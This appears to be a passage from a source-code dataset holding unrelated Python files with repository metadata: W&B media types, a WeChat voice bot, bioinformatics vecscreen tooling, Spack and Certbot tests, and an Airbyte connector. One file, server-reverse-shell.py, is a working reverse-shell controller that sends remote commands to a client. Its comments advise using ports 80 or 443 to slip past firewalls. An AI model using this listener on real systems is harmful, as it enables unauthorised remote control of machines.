convenience, so people exploring the directory tree can have some idea of what is in the Parquet files. step: History step or "summary". Returns: A dict representing the DataFrame that we can store in summaries or histories. This is the format: { '_type': 'data-frame', # Magic field that indicates that this object is a data frame as # opposed to a normal dictionary or anything else. 'id': 'asdf', # ID for the data frame that is unique to this Run. 'format': 'parquet', # The file format in which the data frame is stored. Currently can # only be Parquet. 'project': 'wfeas', # (Current) name of the project that this Run is in. It'd be # better to store the project's ID because we know it'll never # change but we don't have that here. We store this just in # case because we use the project name in identifiers on the # back end. 'path': 'media/data_frames/sdlk.parquet', # Path to the Parquet file in the Run directory. } """ pandas = util.get_module("pandas") fastparquet = util.get_module("fastparquet") missing_reqs = [] if not pandas: missing_reqs.append("pandas") if not fastparquet: missing_reqs.append("fastparquet") if len(missing_reqs) > 0: raise wandb.Error( "Failed to save data frame. Please run 'pip install %s'" % " ".join(missing_reqs) ) data_frame_id = util.generate_id() df = df.copy() # we don't want to modify the user's DataFrame instance. for _, series in df.items(): for i, val in enumerate(series): if isinstance(val, WBValue): series.iat[i] = six.text_type( json.dumps(val_to_json(run, key, val, namespace=step)) ) # We have to call this wandb_run_id because that name is treated specially by # our filtering code df["wandb_run_id"] = pandas.Series( [six.text_type(run.id)] * len(df.index), index=df.index ) df["wandb_data_frame_id"] = pandas.Series( [six.text_type(data_frame_id)] * len(df.index), index=df.index ) frames_dir = os.path.join(run.dir, _DATA_FRAMES_SUBDIR) util.mkdir_exists_ok(frames_dir) path = os.path.join(frames_dir, "{}-{}.parquet".format(key, data_frame_id)) fastparquet.write(path, df) return { "id": data_frame_id, "_type": "data-frame", "format": "parquet", "project": run.project_name(), # we don't have the project ID here "entity": run.entity, "run": run.id, "path": path, } class _ClassesIdType(_dtypes.Type): name = "classesId" legacy_names = ["wandb.Classes_id"] types = [Classes] def __init__( self, classes_obj: Optional[Classes] = None, valid_ids: Optional["_dtypes.UnionType"] = None, ): if valid_ids is None: valid_ids = _dtypes.UnionType() elif isinstance(valid_ids, list): valid_ids = _dtypes.UnionType( [_dtypes.ConstType(item) for item in valid_ids] ) elif isinstance(valid_ids, _dtypes.UnionType): valid_ids = valid_ids else: raise TypeError("valid_ids must be None, list, or UnionType") if classes_obj is None: classes_obj = Classes( [ {"id": _id.params["val"], "name": str(_id.params["val"])} for _id in valid_ids.params["allowed_types"] ] ) elif not isinstance(classes_obj, Classes): raise TypeError("valid_ids must be None, or instance of Classes") else: valid_ids = _dtypes.UnionType( [ _dtypes.ConstType(class_obj["id"]) for class_obj in classes_obj._class_set ] ) self.wb_classes_obj_ref = classes_obj self.params.update({"valid_ids": valid_ids}) def assign(self, py_obj: Optional[Any] = None) -> "_dtypes.Type": return self.assign_type(_dtypes.ConstType(py_obj)) def assign_type(self, wb_type: "_dtypes.Type") -> "_dtypes.Type": valid_ids = self.params["valid_ids"].assign_type(wb_type) if not isinstance(valid_ids, _dtypes.InvalidType): return self return _dtypes.InvalidType() @classmethod def from_obj(cls, py_obj: Optional[Any] = None) -> "_dtypes.Type": return cls(py_obj) def to_json(self, artifact: Optional["LocalArtifact"] = None) -> Dict[str, Any]: cl_dict = super(_ClassesIdType, self).to_json(artifact) # TODO (tss): Refactor this block with the similar one in wandb.Image. # This is a bit of a smell that the classes object does not follow # the same file-pattern as other media types. if artifact is not None: class_name = os.path.join("media", "cls") classes_entry = artifact.add(self.wb_classes_obj_ref, class_name) cl_dict["params"]["classes_obj"] = { "type": "classes-file", "path": classes_entry.path, "digest": classes_entry.digest, # is this needed really? } else: cl_dict["params"]["classes_obj"] = self.wb_classes_obj_ref.to_json(artifact) return cl_dict @classmethod def from_json( cls, json_dict: Dict[str, Any], artifact: Optional["PublicArtifact"] = None, ) -> "_dtypes.Type": classes_obj = None if ( json_dict.get("params", {}).get("classes_obj", {}).get("type") == "classes-file" ): if artifact is not None: classes_obj = artifact.get( json_dict.get("params", {}).get("classes_obj", {}).get("path") ) else: raise RuntimeError("Expected artifact to be non-null.") else: classes_obj = Classes.from_json( json_dict["params"]["classes_obj"], artifact ) return cls(classes_obj) class _VideoFileType(_dtypes.Type): name = "video-file" types = [Video] class _HtmlFileType(_dtypes.Type): name = "html-file" types = [Html] class _Object3DFileType(_dtypes.Type): name = "object3D-file" types = [Object3D] _dtypes.TypeRegistry.add(_ClassesIdType) _dtypes.TypeRegistry.add(_VideoFileType) _dtypes.TypeRegistry.add(_HtmlFileType) _dtypes.TypeRegistry.add(_Object3DFileType) __all__ = [ "Histogram", "Object3D", "Molecule", "Html", "Video", "ImageMask", "BoundingBoxes2D", "Classes", "Image", "Plotly", "history_dict_to_json", "val_to_json", ]
36.92869
131
0.572627
eeb1e7a60d6ea1ffc91e6fc9a9c245ce02db42e3
543
py
Python
week02/week02.py
duongoku/int3404
6dd3ec4566de848d529629eada6f4f167fd3de93
[ "MIT" ]
9
2021-09-09T08:17:49.000Z
2022-02-21T09:25:12.000Z
week02/week02.py
duongoku/int3404
6dd3ec4566de848d529629eada6f4f167fd3de93
[ "MIT" ]
1
2021-09-21T04:48:53.000Z
2021-09-21T04:48:53.000Z
week02/week02.py
duongoku/int3404
6dd3ec4566de848d529629eada6f4f167fd3de93
[ "MIT" ]
11
2021-09-14T02:57:51.000Z
2021-10-14T14:40:04.000Z
""" Name: Class: MSSV: You should understand the code you write. """ import numpy as np import cv2 def q_0(input_file, output_file, delay=1): """ :param input_file: :param output_file: :param delay: :return: """ img = cv2.imread(input_file, cv2.IMREAD_COLOR) cv2.imshow('Test img', img) cv2.waitKey(delay) cv2.imwrite(output_file, img) def q_1(): print("Task 1") def q_2(): print("Task 2") if __name__ == "__main__": q_0('apple.png', 'test_apple.png', 1000) q_1() q_2()
13.243902
50
0.607735
3fb5aaabb642b2c92b5f4ef0c5344a71bf3cdfd1
3,566
py
Python
dingdang/client/WechatBot.py
Suhine/SmartAudioHome
d213c13fe00d75b51016c20c0167e8fde9f3b564
[ "MIT" ]
null
null
null
dingdang/client/WechatBot.py
Suhine/SmartAudioHome
d213c13fe00d75b51016c20c0167e8fde9f3b564
[ "MIT" ]
null
null
null
dingdang/client/WechatBot.py
Suhine/SmartAudioHome
d213c13fe00d75b51016c20c0167e8fde9f3b564
[ "MIT" ]
null
null
null
#!/usr/bin/env python2 # -*- coding: utf-8-*- import time import os from client.wxbot import WXBot from client import dingdangpath from client.audio_utils import mp3_to_wav from client import player from client import config class WechatBot(WXBot): def __init__(self, brain): WXBot.__init__(self) self.brain = brain self.music_mode = None self.last = time.time() def handle_music_mode(self, msg_data): # avoid repeating command now = time.time() if (now - self.last) > 0.5: # stop passive listening # self.brain.mic.stopPassiveListen() self.last = now if not self.music_mode.delegating: self.music_mode.delegating = True self.music_mode.delegateInput(msg_data, True) if self.music_mode is not None: self.music_mode.delegating = False def handle_msg_all(self, msg): # ignore the msg when handling plugins profile = config.get() if (msg['msg_type_id'] == 1 and (msg['to_user_id'] == self.my_account['UserName'] or msg['to_user_id'] == u'filehelper')): from_user = profile['first_name'] + '说:' msg_data = from_user + msg['content']['data'] if msg['content']['type'] == 0: if msg_data.startswith(profile['robot_name_cn']+": "): return if self.music_mode is not None: return self.handle_music_mode(msg_data) self.brain.query([msg_data], self, True) elif msg['content']['type'] == 4: mp3_file = os.path.join(dingdangpath.TEMP_PATH, 'voice_%s.mp3' % msg['msg_id']) # echo or command? if 'wechat_echo' in profile and not profile['wechat_echo']: # 执行命令 mic = self.brain.mic wav_file = mp3_to_wav(mp3_file) with open(wav_file) as f: command = mic.active_stt_engine.transcribe(f) if command: if self.music_mode is not None: return self.handle_music_mode(msg_data) self.brain.query(command, self, True) else: mic.say("什么?") else: # 播放语音 player.get_music_manager().play_block(mp3_file) elif msg['msg_type_id'] == 4: if 'wechat_echo_text_friends' in profile and \ ( msg['user']['name'] in profile['wechat_echo_text_friends'] or 'ALL' in profile['wechat_echo_text_friends'] ) and msg['content']['type'] == 0: from_user = msg['user']['name'] + '说:' msg_data = from_user + msg['content']['data'] self.brain.query([msg_data], self, True) elif 'wechat_echo_voice_friends' in profile and \ ( msg['user']['name'] in profile['wechat_echo_voice_friends'] or 'ALL' in profile['wechat_echo_voice_friends'] ) and msg['content']['type'] == 4: mp3_file = os.path.join(dingdangpath.TEMP_PATH, 'voice_%s.mp3' % msg['msg_id']) player.get_music_manager().play_block(mp3_file)
41.465116
79
0.508413
08c126ead859151881bca90ec834ec06152df06c
3,206
py
Python
jcvi/apps/vecscreen.py
l-Imoon/jcvi
db70bb98c7969bb0cc7b9941a2cc2dc8c5d1b783
[ "BSD-2-Clause" ]
null
null
null
jcvi/apps/vecscreen.py
l-Imoon/jcvi
db70bb98c7969bb0cc7b9941a2cc2dc8c5d1b783
[ "BSD-2-Clause" ]
null
null
null
jcvi/apps/vecscreen.py
l-Imoon/jcvi
db70bb98c7969bb0cc7b9941a2cc2dc8c5d1b783
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: UTF-8 -*- """ Run through NCBI vecscreen on a local machine. """ from __future__ import print_function import os.path as op import sys from jcvi.utils.range import range_merge from jcvi.formats.fasta import tidy from jcvi.formats.blast import BlastLine from jcvi.formats.base import must_open from jcvi.apps.align import run_vecscreen, run_megablast from jcvi.apps.base import OptionParser, ActionDispatcher, download, sh def main(): actions = ( ('mask', 'mask the contaminants'), ) p = ActionDispatcher(actions) p.dispatch(globals()) def mask(args): """ %prog mask fastafile Mask the contaminants. By default, this will compare against UniVec_Core and Ecoli.fasta. Merge the contaminant results, and use `maskFastaFromBed`. Can perform FASTA tidy if requested. """ p = OptionParser(mask.__doc__) p.add_option("--db", help="Contaminant db other than Ecoli K12 [default: %default]") opts, args = p.parse_args(args) if len(args) != 1: sys.exit(not p.print_help()) fastafile, = args assert op.exists(fastafile) outfastafile = fastafile.rsplit(".", 1)[0] + ".masked.fasta" vecbedfile = blast([fastafile]) ecoliurl = \ "ftp://ftp.ncbi.nih.gov/genomes/Bacteria/Escherichia_coli_K_12_substr__DH10B_uid58979/NC_010473.fna" ecolifile = opts.db or download(ecoliurl, filename="Ecoli.fasta") assert op.exists(ecolifile) ecolibedfile = blast([fastafile, "--db={0}".format(ecolifile)]) cmd = "cat {0} {1}".format(vecbedfile, ecolibedfile) cmd += " | mergeBed -nms -d 100 -i stdin" cmd += " | maskFastaFromBed -fi {0} -bed stdin -fo {1}".\ format(fastafile, outfastafile) sh(cmd) return tidy([outfastafile]) def blast(args): """ %prog blast fastafile Run BLASTN against database (default is UniVec_Core). Output .bed format on the vector/contaminant ranges. """ p = OptionParser(blast.__doc__) p.add_option("--dist", default=100, type="int", help="Merge adjacent HSPs separated by [default: %default]") p.add_option("--db", help="Use a different database rather than UniVec_Core") opts, args = p.parse_args(args) if len(args) != 1: sys.exit(not p.print_help()) fastafile, = args fastaprefix = fastafile.split(".", 1)[0] univec = opts.db or download("ftp://ftp.ncbi.nih.gov/pub/UniVec/UniVec_Core") uniprefix = univec.split(".", 1)[0] fastablast = fastaprefix + ".{0}.blast".format(uniprefix) prog = run_megablast if opts.db else run_vecscreen prog(infile=fastafile, outfile=fastablast, db=univec, pctid=95, hitlen=50) fp = open(fastablast) ranges = [] for row in fp: b = BlastLine(row) ranges.append((b.query, b.qstart, b.qstop)) merged_ranges = range_merge(ranges, dist=opts.dist) bedfile = fastaprefix + ".{0}.bed".format(uniprefix) fw = must_open(bedfile, "w") for seqid, start, end in merged_ranges: print("\t".join(str(x) for x in (seqid, start - 1, end, uniprefix)), file=fw) return bedfile if __name__ == '__main__': main()
29.145455
104
0.656893
9f95a1668deef85a1301b21ba0b51ce5f2d3631b
749
py
Python
build.py
pakit/test_recipes
aa5379e4a4ef2d4019f6e8e3a87a06d529e0f910
[ "BSD-3-Clause" ]
null
null
null
build.py
pakit/test_recipes
aa5379e4a4ef2d4019f6e8e3a87a06d529e0f910
[ "BSD-3-Clause" ]
null
null
null
build.py
pakit/test_recipes
aa5379e4a4ef2d4019f6e8e3a87a06d529e0f910
[ "BSD-3-Clause" ]
null
null
null
""" Formula that always errors on build """ import os from pakit import Git, Recipe from pakit.exc import PakitCmdError import tests.common as tc class Build(Recipe): """ Formula that always errors on build """ def __init__(self): super(Build, self).__init__() self.src = os.path.join(tc.STAGING, 'git') self.homepage = self.src self.repos = { 'stable': Git(self.src, tag='0.31.0'), 'unstable': Git(self.src), } def build(self): self.cmd('./build.sh --prefix {prefix}') self.cmd('make install') raise PakitCmdError def verify(self): lines = self.cmd('ag --version').output() assert lines[0].find('ag version') != -1
24.966667
50
0.580774
62fa1c2d112403eb5724618605cafbdd6ce6a72e
2,220
py
Python
lib/spack/spack/test/cmd/resource.py
whitfin/spack
aabd2be31a511d0e00c1017f7311a421659319d9
[ "ECL-2.0", "Apache-2.0", "MIT" ]
3
2019-06-27T13:26:50.000Z
2019-07-01T16:24:54.000Z
lib/spack/spack/test/cmd/resource.py
openbiox/spack
bb6ec7fb40c14b37e094a860e3625af53f633174
[ "ECL-2.0", "Apache-2.0", "MIT" ]
75
2016-07-27T11:43:00.000Z
2020-12-08T15:56:53.000Z
lib/spack/spack/test/cmd/resource.py
openbiox/spack
bb6ec7fb40c14b37e094a860e3625af53f633174
[ "ECL-2.0", "Apache-2.0", "MIT" ]
8
2015-10-16T13:51:49.000Z
2021-10-18T13:58:03.000Z
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack.main import SpackCommand resource = SpackCommand('resource') #: these are hashes used in mock packages mock_hashes = [ 'abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234', '1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd', 'b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c', 'c45c1564f70def3fc1a6e22139f62cb21cd190cc3a7dbe6f4120fa59ce33dcb8', '24eceabef5fe8f575ff4b438313dc3e7b30f6a2d1c78841fbbe3b9293a589277', '689b8f9b32cb1d2f9271d29ea3fca2e1de5df665e121fca14e1364b711450deb', 'ebe27f9930b99ebd8761ed2db3ea365142d0bafd78317efb4baadf62c7bf94d0', '208fcfb50e5a965d5757d151b675ca4af4ce2dfd56401721b6168fae60ab798f', 'bf07a7fbb825fc0aae7bf4a1177b2b31fcf8a3feeaf7092761e18c859ee52a9c', '7d865e959b2466918c9863afca942d0fb89d7c9ac0c99bafc3749504ded97730', ] def test_resource_list(mock_packages, capfd): with capfd.disabled(): out = resource('list') for h in mock_hashes: assert h in out assert 'url:' in out assert 'applies to:' in out assert 'patched by:' in out assert 'path:' in out assert 'repos/builtin.mock/packages/patch-a-dependency/libelf.patch' in out assert 'applies to: builtin.mock.libelf' in out assert 'patched by: builtin.mock.patch-a-dependency' in out def test_resource_list_only_hashes(mock_packages, capfd): with capfd.disabled(): out = resource('list', '--only-hashes') for h in mock_hashes: assert h in out def test_resource_show(mock_packages, capfd): with capfd.disabled(): out = resource('show', 'c45c1564f70def3fc1a6e22139f62cb21cd190cc3a7dbe6f4120fa59ce33dcb8') assert out.startswith('c45c1564f70def3fc1a6e22139f62cb21cd190cc3a7dbe6f4120fa59ce33dcb8') assert 'repos/builtin.mock/packages/patch-a-dependency/libelf.patch' in out assert 'applies to: builtin.mock.libelf' in out assert 'patched by: builtin.mock.patch-a-dependency' in out assert len(out.strip().split('\n')) == 4
36.393443
98
0.775225
31e1c78b5394c0608171f94dccca164f3c8b6ad8
2,372
py
Python
airbyte-integrations/connectors/source-zendesk-singer/source_zendesk_singer/source.py
psiva2020/airbyte
1741a0252c2fc0bf72df2232379ed29b99ab8b51
[ "MIT" ]
null
null
null
airbyte-integrations/connectors/source-zendesk-singer/source_zendesk_singer/source.py
psiva2020/airbyte
1741a0252c2fc0bf72df2232379ed29b99ab8b51
[ "MIT" ]
null
null
null
airbyte-integrations/connectors/source-zendesk-singer/source_zendesk_singer/source.py
psiva2020/airbyte
1741a0252c2fc0bf72df2232379ed29b99ab8b51
[ "MIT" ]
null
null
null
""" MIT License Copyright (c) 2020 Airbyte Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from airbyte_protocol import AirbyteConnectionStatus, Status from base_python import AirbyteLogger, ConfigContainer from base_singer import SingerSource TAP_CMD = "tap-zendesk" class SourceZendeskSinger(SingerSource): def check(self, logger: AirbyteLogger, config_container: ConfigContainer) -> AirbyteConnectionStatus: try: self.discover(logger, config_container) return AirbyteConnectionStatus(status=Status.SUCCEEDED) except Exception: logger.error("Exception while connecting to the Zendesk API") return AirbyteConnectionStatus( status=Status.FAILED, message="Unable to connect to the Zendesk API with the provided credentials. Please make sure the " "input credentials and environment are correct. ", ) def discover_cmd(self, logger: AirbyteLogger, config_path: str) -> str: return f"{TAP_CMD} -c {config_path} --discover" def read_cmd(self, logger: AirbyteLogger, config_path: str, catalog_path: str, state_path: str = None) -> str: # We don't pass state because this source does not respect replication-key so temporarily we're forcing it to be full refresh return f"{TAP_CMD} --config {config_path} --catalog {catalog_path}"
46.509804
133
0.747892
f71563a970e54d91f082ae73af7abad4a8b23fdf
205
py
Python
exe.curso em video/def 20.py
Lorenzo-Lopes/Python-Estudo
7ee623ce29b6a0e9fac48189fbd9c641be84d418
[ "MIT" ]
null
null
null
exe.curso em video/def 20.py
Lorenzo-Lopes/Python-Estudo
7ee623ce29b6a0e9fac48189fbd9c641be84d418
[ "MIT" ]
null
null
null
exe.curso em video/def 20.py
Lorenzo-Lopes/Python-Estudo
7ee623ce29b6a0e9fac48189fbd9c641be84d418
[ "MIT" ]
null
null
null
import random n1 = str(input('nome 1=')) n2 = str(input('nome 2=')) n3 = str(input('nome 3=')) n4 = str(input('nome 4=')) lista = [n1, n2, n3, n4] random.shuffle(lista) print('nova ordem{}'.format(lista))
22.777778
35
0.62439
ee43322391dd2368e10ad2af8cf24b9f93de180d
608
py
Python
dramkit/_tmp/test_code.py
Genlovy-Hoo/dramkit
fa3d2f35ebe9effea88a19e49d876b43d3c5c4c7
[ "MIT" ]
null
null
null
dramkit/_tmp/test_code.py
Genlovy-Hoo/dramkit
fa3d2f35ebe9effea88a19e49d876b43d3c5c4c7
[ "MIT" ]
null
null
null
dramkit/_tmp/test_code.py
Genlovy-Hoo/dramkit
fa3d2f35ebe9effea88a19e49d876b43d3c5c4c7
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- if __name__ == '__main__': oath = '我爱妞' print(type(oath)) print(len(oath)) oath1 = u'我爱妞' print(type(oath1)) print(len(oath1)) print(oath==oath1) utf8 = oath.encode('utf-8') print(type(utf8)) print(len(utf8)) print(utf8) gbk = oath.encode('gbk') print(type(gbk)) print(len(gbk)) print(gbk) out = open('test.txt','w',encoding = 'utf-8') test = u'\u5220\u9664' print(len(test)) print(test) test1 = test.encode('utf-8') print(test1) print(type(test1)) out.write(test) out.close()
16
49
0.550987
a96e575072862b75ddc6b7f07be271425ed4b375
6,573
py
Python
certbot/tests/account_test.py
ccppuu/certbot
9fead41aaf93dde0d36d4aef6fded8dd306c1ddc
[ "Apache-2.0" ]
1
2017-12-20T20:06:11.000Z
2017-12-20T20:06:11.000Z
certbot/tests/account_test.py
cpu/certbot
9fead41aaf93dde0d36d4aef6fded8dd306c1ddc
[ "Apache-2.0" ]
null
null
null
certbot/tests/account_test.py
cpu/certbot
9fead41aaf93dde0d36d4aef6fded8dd306c1ddc
[ "Apache-2.0" ]
null
null
null
"""Tests for certbot.account.""" import datetime import os import shutil import stat import tempfile import unittest import mock import pytz from acme import jose from acme import messages from certbot import errors from certbot.tests import test_util KEY = jose.JWKRSA.load(test_util.load_vector("rsa512_key_2.pem")) class AccountTest(unittest.TestCase): """Tests for certbot.account.Account.""" def setUp(self): from certbot.account import Account self.regr = mock.MagicMock() self.meta = Account.Meta( creation_host="test.certbot.org", creation_dt=datetime.datetime( 2015, 7, 4, 14, 4, 10, tzinfo=pytz.UTC)) self.acc = Account(self.regr, KEY, self.meta) with mock.patch("certbot.account.socket") as mock_socket: mock_socket.getfqdn.return_value = "test.certbot.org" with mock.patch("certbot.account.datetime") as mock_dt: mock_dt.datetime.now.return_value = self.meta.creation_dt self.acc_no_meta = Account(self.regr, KEY) def test_init(self): self.assertEqual(self.regr, self.acc.regr) self.assertEqual(KEY, self.acc.key) self.assertEqual(self.meta, self.acc_no_meta.meta) def test_id(self): self.assertEqual( self.acc.id, "bca5889f66457d5b62fbba7b25f9ab6f") def test_slug(self): self.assertEqual( self.acc.slug, "test.certbot.org@2015-07-04T14:04:10Z (bca5)") def test_repr(self): self.assertEqual( repr(self.acc), "<Account(bca5889f66457d5b62fbba7b25f9ab6f)>") class ReportNewAccountTest(unittest.TestCase): """Tests for certbot.account.report_new_account.""" def setUp(self): self.config = mock.MagicMock(config_dir="/etc/letsencrypt") reg = messages.Registration.from_data(email="rhino@jungle.io") self.acc = mock.MagicMock(regr=messages.RegistrationResource( uri=None, new_authzr_uri=None, body=reg)) def _call(self): from certbot.account import report_new_account report_new_account(self.acc, self.config) @mock.patch("certbot.account.zope.component.queryUtility") def test_no_reporter(self, mock_zope): mock_zope.return_value = None self._call() @mock.patch("certbot.account.zope.component.queryUtility") def test_it(self, mock_zope): self._call() call_list = mock_zope().add_message.call_args_list self.assertTrue(self.config.config_dir in call_list[0][0][0]) self.assertTrue( ", ".join(self.acc.regr.body.emails) in call_list[1][0][0]) class AccountMemoryStorageTest(unittest.TestCase): """Tests for certbot.account.AccountMemoryStorage.""" def setUp(self): from certbot.account import AccountMemoryStorage self.storage = AccountMemoryStorage() def test_it(self): account = mock.Mock(id="x") self.assertEqual([], self.storage.find_all()) self.assertRaises(errors.AccountNotFound, self.storage.load, "x") self.storage.save(account) self.assertEqual([account], self.storage.find_all()) self.assertEqual(account, self.storage.load("x")) self.storage.save(account) self.assertEqual([account], self.storage.find_all()) class AccountFileStorageTest(unittest.TestCase): """Tests for certbot.account.AccountFileStorage.""" def setUp(self): self.tmp = tempfile.mkdtemp() self.config = mock.MagicMock( accounts_dir=os.path.join(self.tmp, "accounts")) from certbot.account import AccountFileStorage self.storage = AccountFileStorage(self.config) from certbot.account import Account self.acc = Account( regr=messages.RegistrationResource( uri=None, new_authzr_uri=None, body=messages.Registration()), key=KEY) def tearDown(self): shutil.rmtree(self.tmp) def test_init_creates_dir(self): self.assertTrue(os.path.isdir(self.config.accounts_dir)) def test_save_and_restore(self): self.storage.save(self.acc) account_path = os.path.join(self.config.accounts_dir, self.acc.id) self.assertTrue(os.path.exists(account_path)) for file_name in "regr.json", "meta.json", "private_key.json": self.assertTrue(os.path.exists( os.path.join(account_path, file_name))) self.assertEqual("0400", oct(os.stat(os.path.join( account_path, "private_key.json"))[stat.ST_MODE] & 0o777)) # restore self.assertEqual(self.acc, self.storage.load(self.acc.id)) def test_find_all(self): self.storage.save(self.acc) self.assertEqual([self.acc], self.storage.find_all()) def test_find_all_none_empty_list(self): self.assertEqual([], self.storage.find_all()) def test_find_all_accounts_dir_absent(self): os.rmdir(self.config.accounts_dir) self.assertEqual([], self.storage.find_all()) def test_find_all_load_skips(self): self.storage.load = mock.MagicMock( side_effect=["x", errors.AccountStorageError, "z"]) with mock.patch("certbot.account.os.listdir") as mock_listdir: mock_listdir.return_value = ["x", "y", "z"] self.assertEqual(["x", "z"], self.storage.find_all()) def test_load_non_existent_raises_error(self): self.assertRaises(errors.AccountNotFound, self.storage.load, "missing") def test_load_id_mismatch_raises_error(self): self.storage.save(self.acc) shutil.move(os.path.join(self.config.accounts_dir, self.acc.id), os.path.join(self.config.accounts_dir, "x" + self.acc.id)) self.assertRaises(errors.AccountStorageError, self.storage.load, "x" + self.acc.id) def test_load_ioerror(self): self.storage.save(self.acc) mock_open = mock.mock_open() mock_open.side_effect = IOError with mock.patch("__builtin__.open", mock_open): self.assertRaises( errors.AccountStorageError, self.storage.load, self.acc.id) def test_save_ioerrors(self): mock_open = mock.mock_open() mock_open.side_effect = IOError # TODO: [None, None, IOError] with mock.patch("__builtin__.open", mock_open): self.assertRaises( errors.AccountStorageError, self.storage.save, self.acc) if __name__ == "__main__": unittest.main() # pragma: no cover
35.33871
79
0.659364
fc3b42ae0843a53a401c890e21e960a798adf8cf
1,703
py
Python
cape_privacy/pandas/registry.py
vismaya-Kalaiselvan/cape-python
2b93696cec43c4bab9098c35eccf6f2f66d9e5c0
[ "Apache-2.0" ]
144
2020-06-23T21:31:49.000Z
2022-02-25T15:51:00.000Z
cape_privacy/pandas/registry.py
vismaya-Kalaiselvan/cape-python
2b93696cec43c4bab9098c35eccf6f2f66d9e5c0
[ "Apache-2.0" ]
44
2020-06-24T14:42:23.000Z
2022-02-21T03:30:58.000Z
cape_privacy/pandas/registry.py
vismaya-Kalaiselvan/cape-python
2b93696cec43c4bab9098c35eccf6f2f66d9e5c0
[ "Apache-2.0" ]
16
2020-06-26T20:05:51.000Z
2022-01-12T05:23:58.000Z
from typing import Callable from typing import Dict from cape_privacy.pandas.transformations import ColumnRedact from cape_privacy.pandas.transformations import DatePerturbation from cape_privacy.pandas.transformations import DateTruncation from cape_privacy.pandas.transformations import NumericPerturbation from cape_privacy.pandas.transformations import NumericRounding from cape_privacy.pandas.transformations import ReversibleTokenizer from cape_privacy.pandas.transformations import RowRedact from cape_privacy.pandas.transformations import Tokenizer from cape_privacy.pandas.transformations import TokenReverser TransformationCtor = Callable _registry: Dict[str, TransformationCtor] = {} def get(transformation: str) -> TransformationCtor: """Returns the constructor for the given key. Arguments: transformation: The key of transformation to retrieve. """ return _registry.get(transformation, None) def register(label: str, ctor: TransformationCtor): """Registers a new transformation constructor under the label provided. Arguments: label: The label that will be used as the key in the registry ctor: The transformation constructor """ _registry[label] = ctor register(DatePerturbation.identifier, DatePerturbation) register(NumericPerturbation.identifier, NumericPerturbation) register(NumericRounding.identifier, NumericRounding) register(Tokenizer.identifier, Tokenizer) register(DateTruncation.identifier, DateTruncation) register(ColumnRedact.identifier, ColumnRedact) register(RowRedact.identifier, RowRedact) register(TokenReverser.identifier, TokenReverser) register(ReversibleTokenizer.identifier, ReversibleTokenizer)
36.234043
75
0.825015
30ab50f2ef94955a33d9f8e68b5bbd31416ac595
2,368
py
Python
server-reverse-shell.py
punyaslokdutta/Reverse-Shell-scripts
8362c09243fd0578854512ecbe55403b66310392
[ "MIT" ]
null
null
null
server-reverse-shell.py
punyaslokdutta/Reverse-Shell-scripts
8362c09243fd0578854512ecbe55403b66310392
[ "MIT" ]
null
null
null
server-reverse-shell.py
punyaslokdutta/Reverse-Shell-scripts
8362c09243fd0578854512ecbe55403b66310392
[ "MIT" ]
null
null
null
# Notice that I've used 0.0.0.0 as the server IP address, this means all IPv4 addresses on the local machine. You may wonder, why we don't just use our local IP address or localhost or 127.0.0.1 ? Well, if the server has two IP addresses, let's say 192.168.1.101 on a network, and 10.0.1.1 on another, and the server listens on 0.0.0.0, then it will be reachable at both of those IPs. # We then specified some variables and initiated the TCP socket. Notice I used 5003 as the TCP port, feel free to choose any port above 1024, just make sure it's not used and you should use it on both sides (i.e server and client). # However, malicious reverse shells usually uses the popular port 80 (i.e http) or 443 (i.e https), this will allow it to bypass firewall restrictions of the target client. # 0.0.0.0 has a couple of different meanings, but in this context, # when a server is told to listen on 0.0.0.0 that means # "listen on every available network interface". # The loopback adapter with IP address 127.0.0.1 from the perspective of the server # process looks just like any other network adapter on the machine, so a server # told to listen on 0.0.0.0 will accept connections on that interface too. import socket SERVER_HOST = "0.0.0.0" SERVER_PORT = 5003 BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase # separator string for sending 2 messages in one go SEPARATOR = "<sep>" # create a socket object s = socket.socket() s.bind((SERVER_HOST, SERVER_PORT)) s.listen(5) print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...") client_socket, client_address = s.accept() print(f"{client_address[0]}:{client_address[1]} Connected!") # receiving the current working directory of the client cwd = client_socket.recv(BUFFER_SIZE).decode() print("[+] Current working directory:", cwd) while True: # get the command from prompt command = input(f"{cwd} $> ") if not command.strip(): # empty command continue # send the command to the client client_socket.send(command.encode()) if command.lower() == "exit": # if the command is exit, just break out of the loop break # retrieve command results output = client_socket.recv(BUFFER_SIZE).decode() # split command output and current directory results, cwd = output.split(SEPARATOR) # print output print(results)
45.538462
384
0.724662
70f58a864ad808722f1b9a459eee7eb12af34613
8,568
py
Python
s3/replication/common/src/s3replicationcommon/aws_v4_signer.py
kaustubh-d/cortx-multisite
125463bfd0f65df6aecff078b5ef1487451aac7d
[ "Apache-2.0" ]
null
null
null
s3/replication/common/src/s3replicationcommon/aws_v4_signer.py
kaustubh-d/cortx-multisite
125463bfd0f65df6aecff078b5ef1487451aac7d
[ "Apache-2.0" ]
null
null
null
s3/replication/common/src/s3replicationcommon/aws_v4_signer.py
kaustubh-d/cortx-multisite
125463bfd0f65df6aecff078b5ef1487451aac7d
[ "Apache-2.0" ]
null
